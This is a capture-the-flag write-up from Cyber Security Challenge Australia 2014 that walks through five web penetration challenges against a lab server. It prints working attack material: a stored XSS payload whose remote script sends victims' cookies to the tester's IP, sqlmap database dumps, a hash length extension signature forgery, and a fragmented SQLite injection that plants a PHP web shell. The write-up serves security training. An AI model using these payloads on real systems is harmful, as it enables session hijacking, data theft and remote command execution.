Australian Government

Cyber Security Challenge Australia 2014
www.cyberchallenge.com.au

CySCA2014 Web Penetration Testing Writeup

Background: Pentest the web server that is hosted in the environment at www.fortcerts.cysca

Web Penetration Testing 1 - Club Status

Question: Only VIP and registered users are allowed to view the Blog. Become VIP to gain access to the Blog to reveal the hidden flag.

Designed Solution: Players need to change the vip cookie value from 0 to 1 and read the flag from the blog page.

Write Up:
We fire up Burpsuite proxy and start crawling the web page (turn off intercept initially). We configure Iceweasel to use the burp proxy.

Looking around the web site there are a few things we notice:

- There is a user login page @ login.php
- There is a blog item entry on the navbar but it is greyed out
- The cookie has a two entries. PHPSESSID and vip=0
- Cookie is missing HttpOnly flag (potential to steal session cookie)

Let's see what happens when we modify the cookie and set **vip=1**

To do this, In Burp Suite click the options tab. Then click the sessions tab. In the Session Handling Rules section click the Use cookies from Burp's cookie jar entry then click Edit.

In the Session handling rule editor window click the Scope tab, check the box labelled Proxy (Use with caution) and then click ok.

Scroll down and in the Cookie Jar section and click Open cookie jar. In the cookie jar viewer window click the vip entry and then click Edit cookie. Change the value from 0 to 1 and click Ok. Click close in the Cookie jar viewer window.

Now force a refresh of the page in the browser.

The Blog link becomes available. Click the Blog link and the flag for this challenge is revealed.
ComplexKillingInverse411

Web Penetration Testing 2 - Om nom nom nom

Question: Gain access to the Blog as a registered user to reveal the hidden flag.

Designed Solution: Players add a stored XSS to a comment in the blog, simulated Sycamore refreshes the page and players steal his session cookie. They use his session cookie and get the flag from the blog page.

Write Up:
Browsing around the blog page, we notice a few things:

- We can view blogs
- We can add comments
- Sycamore appears to be active on the view=2 blog

Burp comes with an intruder plugin (free version is throttled), allowing you to inject XSS/SQL payloads into specific parameters.
The wordlists in Kali are quite useful for this:

```
/usr/share/wfuzz/wordlist/Injections/SQL.txt
/usr/share/wfuzz/wordlist/Injections/XSS.txt
```

Running these tests against view blog GET view=? and add comment POST comment=? fails to reveal any XSS or SQLi.

Not having any success with the Burp Suite intruder we decide to take a better look at the comment field.

The add comment validation seems to strip all quotes and encode all html entities. However, there is a markdown language provided for italics, bold and links that would be worth testing. We manually set the payload positions in intruder to use the Burp Suite intruder to run XSS tests against the following entries:

```
_test_
*test*
[test](test)
```

This reveals an XSS vulnerability within the title of the link. An example showing this vulnerability is:

```
[<script>alert('xss')</script>](test)
```

When we manually test the the title field we find that it is limited to 30 characters, which doesn't leave much room to steal the session. **Note:** This was changed to 75 characters before the

competition and after the write up was completed so the writeup assumes max length of 30 characters.

Looking at the OWASP XSS Cheat Sheet (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet), there is this gem:

```
<SCRIPT SRC=//ha.ckers.org/.j>
```

On our Kali machine, we create a file named **.j** containing some javascript to steal a users cookie. We use Pythons SimpleHTTPServer to host it on port 80.

```
#> echo "$.get('http://192.168.16.101?cookie='+document.cookie);" > .j
#> python -m SimpleHTTPServer 80
```

We now create a XSS payload for the comment field. However using our IP in dotted notation causes our payload to get truncated so we convert our dotted IP notation to decimal to save a few characters. Our final XSS payload looks like the string below.

```
[<script src=//3232239717/.j>](test)
```

We add this comment to the blog page that Sycamore is interested in and we play the waiting game. After a small wait we see the following entries in our Python HTTP server.

```
172.16.1.80 - - [20/Feb/2014 16:11:07] "GET /.j HTTP/1.1" 200 -
172.16.1.80 - - [20/Feb/2014 16:11:12] "GET
/?cookie=PHPSESSID=pm5qdd1636bp8o1fs92smvi916;%20vip=0 HTTP/1.1" 301 -
```

We use the process detailed in the last challenge writeup to use Sycamores Cookie. Loading the Blog page with this newly stolen cookie reveals the flag for this challenge.
OrganicShantyAbsent505

Web Penetration Testing 3 - Nonce-sense

Question: Retrieve the hidden flag from the database.

Designed Solution: Players need to identify the sql injection in the deletecomment.php script. Due to the use of a CSRF token players will need to use burp suite or craft their own proxy to be able to use sqlmap.

Write Up:
After looking around the site while logged in as Sycamore we notice that blog users are able to delete comments from their own blog posts. This functionality causes an Ajax POST to deletecomment.php that contains a CSRF token.

The CSRF token prevents automated tools from simply testing payloads. Fortunately, Burp has a feature for this through the use of macros. This works by setting up a series of steps that extract the legitimate CSRF token and provides the token to the Intruder plugin.

Each POST to deletecomment.php returns a new valid CSRF token. This can be harvested using macros in the session handler. I recommend reading this post for more information (http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-1/).

Running the SQL intruder plugin (see previous), quickly reveals an SQLi vulnerability in the comment_id parameter:

```
{"result":false,"error":"You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use near
'\"' at line 1","csrf":"43b461afdd56f52f"}
```

Now we have discovered the SQLi vulnerability in deletecomment.php, sqlmap is the tool of choice in combination with the Burp proxy session macros. See (http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-2/) for a guide on this.

We save the request to a file and make sure that we update the session cookie.

```
#> sqlmap -r /root/sql-web3-headers --proxy=http://localhost:8080 -p comment_id
...
[17:15:55] [WARNING] target URL is not stable. sqlmap will base the page
comparison on a sequence matcher. If no dynamic nor injectable parameters are
detected, or in case of junk results, refer to user's manual paragraph 'Page
comparison' and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
...
[17:16:39] [INFO] heuristic (basic) test shows that POST parameter 'comment_id'
might be injectable (possible DBMS: 'MySQL')
```

```
...
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'MySQL' extending provided level (1) and risk
(1)? [Y/n] n
...
[17:17:13] [INFO] POST parameter 'comment_id' is 'MySQL >= 5.0 AND error-based -
WHERE or HAVING clause' injectable
...
POST parameter 'comment_id' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] n
```

Now that we know that sqlmap and burp are correctly set up, we dump the tables and the flag table to get the flag for this challenge. **CeramicDrunkSound667**

```
#> sqlmap -r /root/sql-web3-headers --proxy=http://localhost:8080 -p comment_id
--current-db
current database:    'cysca'

#> sqlmap -r /root/sql-web3-headers --proxy=http://localhost:8080 -p comment_id -D
cysca --tables
Database: cysca

#> sqlmap -r /root/sql-web3-headers
[5 tables]
+--------------------------------------+
| user                                 |
| blogs                                |
| comments                             |
| flag                                 |
| rest_api_log                         |
+--------------------------------------+

#> sqlmap -r /root/sql-web3-headers --proxy=http://localhost:8080 -p comment_id -D
cysca -T flag --dump
[1 entry]
+----------------------+
| flag                 |
+----------------------+
| CeramicDrunkSound667 |
+----------------------+
```

Web Penetration Testing 4 - Hypertextension

Question: Retrieve the hidden flag by gaining access to the caching control panel.

Designed Solution: Players need to perform a hash length extension attack against the REST API to allow them to download php source code from the website. They can then retrieve the flag by downloading the source code of cache.php.

Write Up:
Reading the REST API documentation we see that it has functionality to add files and then read their content. Perhaps we can use this functionality to download the php source code?

We first need to find the api_key and some already submitted queries. We use the SQLi from the previous challenge and we dump the 'rest_api_log' table.

```
#> sqlmap -r /root/sql-web3-headers --proxy=http://localhost:8080 -p comment_id -D
cysca -T rest_api_log --dump
Database: cysca
Table: rest_api_log
[4 entries]
+----+--------+-------------------------------------------------------------------------
-------------------------------------------------------------+-----------------
-+---------------------+-----------------------------+
| id | method | params
| api_key          | created_on          | request_uri                 |
+----+--------+-------------------------------------------------------------------------
-------------------------------------------------------------+-----------------
-+---------------------+-----------------------------+
| 1  | POST   |
contenttype=application%2Fpdf&filepath=.%2Fdocuments%2FTop_4_Mitigations.pdf&api_s
ig=235aca08775a2070642013200d70097a            | b32GjABvSf1Eiqry | 2014-02-21
09:27:20 | \\/api\\/documents          |
| 2  | GET    | _url=%2Fdocuments&id=2
| NULL             | 2014-02-21 11:47:01 | \\/api\\/documents\\/id\\/2 |
| 3  | POST   |
contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest-api.txt&api_sig=95a0e7dbe06
fb7b77b6a1980e2d0ad7d                          | b32GjABvSf1Eiqry | 2014-02-21
11:54:31 | \\/api\\/documents          |
| 4  | PUT    |
_url=%2Fdocuments&id=3&contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest-api-
v2.txt&api_sig=6854c04381284dac9970625820a8d32b | b32GjABvSf1Eiqry | 2014-02-21
12:07:43 | \\/api\\/documents\\/id\\/3 |
+----+--------+-------------------------------------------------------------------------
-------------------------------------------------------------+-----------------
-+---------------------+-----------------------------+
```

We use one of the entries from the rest_api_log database to test our curl command. Based on the REST API Spec, the CURL request would look like this:

```
#> curl -X PUT -d
'contenttype=text/plain&filepath=./documents/rest-api-v2.txt&api_sig=6854c04381284
dac9970625820a8d32b' -H 'X-Auth: b32GjABvSf1Eiqry'
http://172.16.1.80/api/documents/id/3
```

According to the REST API spec the api_sig value is generated with the following call in php:

```
hashlib.md5(secret+'contenttypetext/plainfilepath./documents/rest-api-v2.txtid3').
hexdigest()
```

Without knowing the secret we can apply the hash length extension attack against these requests. It is the same vulnerability that was found in Flickr (Flickr API Signature Forgery)

The hash length extension attack works due to the fact that "foo=bar" has the same signature as "fo=obar". Therefore, we can construct a query string that will allow us to append new parameters to the end of the original request.

Take this query string:

```
"contenttype=text/plain&filepath=./documents/rest-api-v2.txt"
```

If we change it to:

```
"c=ontenttypetext/plain&filepath=./documents/rest-api-v2.txt&contenttype=text/plai
n&filepath=./index.php"
```

It will have the signature:

```
"SECRETcontenttypetext/plainfilepath=./documents/rest-api-v2.txtcontenttype=text/p
lainfilepath=./index.phpid3"
```

Because the start of data to be hashed doesn't change it is only appended, we can continue off where the hash algorithm finished without knowing SECRET.

Download and compile HashPump, and use it to generate the new hash. We had to perform this step multiple times with different k values because we didn't know the length of the SECRET (the key length).

```
#> ./hashpump -s 6854c04381284dac9970625820a8d32b --data
contenttypetext/plainfilepath./documents/rest-api-v2.txtid3 -a
contenttypetext/plainfilepath./index.phpid3 -k 16
4625e458d07cb19da70effa3d1c6dc14
contenttypetext/plainfilepath./documents/rest-api-v2.txtid3\x80\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
```

```
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x02\x
00\x00\x00\x00\x00\x00contenttypetext/plainfilepath./index.phpid3
```

Now that have our hash extension, we convert this response into a new CURL statement and make sure to percent encode the nulls in the padding. After multiple fails with varied k lengths it returned a json response indicating success when k is 16.

```
#> curl -X PUT -d
'c=ontenttypetext/plainfilepath./documents/rest-api-v2.txtid3%80%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00X%02%00%00%00%00%00%00&contenttype=text/plain&file
path=./index.php&api_sig=4625e458d07cb19da70effa3d1c6dc14'  -H 'X-Auth:
b32GjABvSf1Eiqry' http://172.16.1.80/api/documents/id/3
```

We can now retrieve the the index.php source code instead of the REST API spec if we request api/documents/id/3:

```
#> curl http://172.16.1.80/api/documents/id/3
<?php
// Not in production... see /cache.php?access=<secret>
include('../lib/caching.php');
if (isset($_GET['debug'])) {
  readFromCache();
}
**** SNIP ****
```

It sounds like cache.php might be interesting. We repeat the above hash extension steps replacing index.php with cache.php.

When we retrieve the content of cache.php we are presented with the flag for this challenge. **OrganicPamperSenator877**

```
#> curl http://172.16.1.80/api/documents/id/3
**** SNIP ****
$flag = 'OrganicPamperSenator877';
if ($_GET['access'] != md5($flag)) {
  header('Location: /index.php');
  die();
}
**** SNIP ****
```

Web Penetration Testing 5 - Injeption

Question: Reveal the final flag, which is hidden in the /flag.txt file on the web server.

Designed Solution: Players need to insert fragmented sql injection strings into the title fields of the cache page. They then need to cache the cache page itself so the sql injection strings are concatenated and executed when the URI content is added into the database. The injection string should create a php backdoor using SQLite, they then use the backdoor to cat the flag file.

Write Up:
The source code of cache.php we retrieved in the last challenge reveals that we need to ensure the GET parameter access=md5(OrganicPamperSenator877) is present when trying to access it.

We connect to cache.php?access=f4fa5dc42fd0b12a098fcc218059e061 and are presented with a very basic interface with a form.

The form requests a URI and a title. There are a number of checks in cache.php for both of these fields.

The URI is validated to ensure the schema is 'http', the server is not remote so that only requests local to the server work and that he URI actually exists (fails on 404).

The title is restricted to 40 characters, but does not strip or escape quotes. So it appears to be vulnerable to SQL injection.

We test this by inserting ‘/* into the title field. The following error message is returned.

```
near "/*', '59ab7c9e3917a154ff56a43d08a262ab',
'http%3A%2F%2F172.16.1.80%2Findex.php', '...', datetime('now'))": syntax error
```

This error message reveals that the database in use is likely sqlite, this can be confirmed by looking at the source code of lib/caching.php. Looking at the source code we can also see that the content from the page is being inserted into the database.

Given that 40 characters isn't enough to do anything particularly interesting in an SQL injection, we need to find a way to inject longer strings. This is where the cache page’s output functionality comes in useful.

Fortunately, we can control and inject unescaped single-quotes into the cache page and then cache the cache page itself. By joining smaller fragments of SQL contained in the titles, a complete SQLi query is created when the cache page content is stored in the database... hence injeption!

Some research for sqlite injection reveals the ability to create a new db and inject a php shell. That'd be handy!

The goal is to inject the following SQLi string allowing us to execute arbitrary commands on the web server.

```
',0); ATTACH DATABASE 'a.php' AS a; CREATE TABLE a.b (c text); INSERT INTO a.b
VALUES ('<? system($_GET[''cmd'']); ?>');/*
```

So how do we inject a 122 character long injection string into a space of 40? SQL block comments!

This will require some additional string escaping and breaking up the php string with concat '||'. We are left with the following titles to use.

```
'',0);ATTACH DATABASE ''a.php'' AS a;/*
*/CREATE TABLE a.b (c text);INSERT /*
*/INTO a.b VALUES(''<? system($''||/*
*/''_GET[''''cmd'''']); ?>'');/*
```

Once the titles are laid out on the cache page, we cache the cache page, our sql injection string is executed and creates the backdoor file a.php.

We can now execute shell commands by requesting **/a.php?cmd=<shell command>**. We use this to dump the flag stored in /flag.txt.

```
#> curl http://172.16.1.80/a.php?cmd=cat+/flag.txt
��CFlag: TryingCrampFibrous963
```

Our curl command returns the flag for the final web pentesting challenge.
TryingCrampFibrous963.